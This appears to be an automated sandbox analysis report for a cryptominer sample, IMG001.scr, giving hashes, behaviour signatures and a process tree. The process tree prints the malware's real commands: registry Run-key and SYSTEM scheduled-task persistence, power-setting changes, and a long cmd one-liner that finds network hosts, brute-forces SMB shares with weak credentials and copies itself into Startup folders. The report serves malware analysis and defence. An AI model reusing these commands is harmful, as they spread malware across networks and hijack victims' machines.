Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-06-2023 15:52

General

  • Target

    IMG001.scr

  • Size

    3.4MB

  • MD5

    fbbcf1e9501234d6661a0c9ae6dc01c9

  • SHA1

    1ca9759a324159f331e79ea6871ad62040521b41

  • SHA256

    d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c

  • SHA512

    027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140

  • SSDEEP

    98304:M5VPnq1y5tQOM33ZNqCtBixHl54Oyjes1Ro6:2VPq1yLanrqTr43eON

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 6 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Discovers systems in the same network 1 TTPs 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 63 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\IMG001.scr
    "C:\Users\Admin\AppData\Local\Temp\IMG001.scr" /S
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4748
    • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
      "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Enumerates connected drives
      • Suspicious use of WriteProcessMemory
      PID:2296
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4924
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ
          4⤵
          • Adds Run key to start application
          PID:4828
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4260
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
          4⤵
          • Creates scheduled task(s)
          PID:3992
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2676
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"
          4⤵
          • Drops file in Windows directory
          • Creates scheduled task(s)
          PID:1904
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3788
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /CHANGE -standby-timeout-ac 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1044
        • C:\Windows\SysWOW64\powercfg.exe
          powercfg /CHANGE -hibernate-timeout-ac 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4644
        • C:\Windows\SysWOW64\powercfg.exe
          Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 000
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:316
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1704& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4292
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3528
          • C:\Windows\SysWOW64\net.exe
            net view
            5⤵
            • Discovers systems in the same network
            PID:5088
          • C:\Windows\SysWOW64\find.exe
            find /i "\\"
            5⤵
              PID:452
            • C:\Windows\SysWOW64\ARP.EXE
              arp -a
              5⤵
                PID:3556
              • C:\Windows\SysWOW64\find.exe
                find /i " 1"
                5⤵
                  PID:4880
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c set str_
                4⤵
                  PID:3188
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c net view \\10.127.0.1|find /i " "
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2484
                  • C:\Windows\SysWOW64\net.exe
                    net view \\10.127.0.1
                    5⤵
                    • Discovers systems in the same network
                    PID:3392
                  • C:\Windows\SysWOW64\find.exe
                    find /i " "
                    5⤵
                      PID:1112

            Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\nsq880E.tmp\inetc.dll
              Filesize

              21KB

              MD5

              d7a3fa6a6c738b4a3c40d5602af20b08

              SHA1

              34fc75d97f640609cb6cadb001da2cb2c0b3538a

              SHA256

              67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

              SHA512

              75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

            • C:\Users\Admin\AppData\Local\Temp\nsq880E.tmp\inetc.dll
              Filesize

              21KB

              MD5

              d7a3fa6a6c738b4a3c40d5602af20b08

              SHA1

              34fc75d97f640609cb6cadb001da2cb2c0b3538a

              SHA256

              67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

              SHA512

              75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

            • C:\Users\Admin\AppData\Local\Temp\nsq880E.tmp\inetc.dll
              Filesize

              21KB

              MD5

              d7a3fa6a6c738b4a3c40d5602af20b08

              SHA1

              34fc75d97f640609cb6cadb001da2cb2c0b3538a

              SHA256

              67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

              SHA512

              75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

            • C:\Users\Admin\AppData\Local\Temp\nsq880E.tmp\inetc.dll
              Filesize

              21KB

              MD5

              d7a3fa6a6c738b4a3c40d5602af20b08

              SHA1

              34fc75d97f640609cb6cadb001da2cb2c0b3538a

              SHA256

              67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

              SHA512

              75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

            • C:\Users\Admin\AppData\Local\Temp\nsq880E.tmp\inetc.dll
              Filesize

              21KB

              MD5

              d7a3fa6a6c738b4a3c40d5602af20b08

              SHA1

              34fc75d97f640609cb6cadb001da2cb2c0b3538a

              SHA256

              67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

              SHA512

              75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

            • C:\Users\Admin\AppData\Local\Temp\nsq880E.tmp\inetc.dll
              Filesize

              21KB

              MD5

              d7a3fa6a6c738b4a3c40d5602af20b08

              SHA1

              34fc75d97f640609cb6cadb001da2cb2c0b3538a

              SHA256

              67eff17c53a78c8ec9a28f392b9bb93df3e74f96f6ecd87a333a482c36546b3e

              SHA512

              75cf123448567806be5f852ebf70f398da881e89994b82442a1f4bc6799894e799f979f5ab1cc9ba12617e48620e6c34f71e23259da498da37354e5fd3c0f934

            • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
              Filesize

              3.4MB

              MD5

              fbbcf1e9501234d6661a0c9ae6dc01c9

              SHA1

              1ca9759a324159f331e79ea6871ad62040521b41

              SHA256

              d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c

              SHA512

              027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140

            • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
              Filesize

              3.4MB

              MD5

              fbbcf1e9501234d6661a0c9ae6dc01c9

              SHA1

              1ca9759a324159f331e79ea6871ad62040521b41

              SHA256

              d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c

              SHA512

              027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140

            • C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe
              Filesize

              3.4MB

              MD5

              fbbcf1e9501234d6661a0c9ae6dc01c9

              SHA1

              1ca9759a324159f331e79ea6871ad62040521b41

              SHA256

              d9901b16a93aad709947524379d572a7a7bf8e2741e27a1112c95977d4a6ea8c

              SHA512

              027e5ea6d92955b87439f61704de5b3e21c7a8e0a95327868951968e4f5cbed59cf1e803ac9adb2c9cf577db7a2f6fd4383b7384d57a78596cfb2ff020907140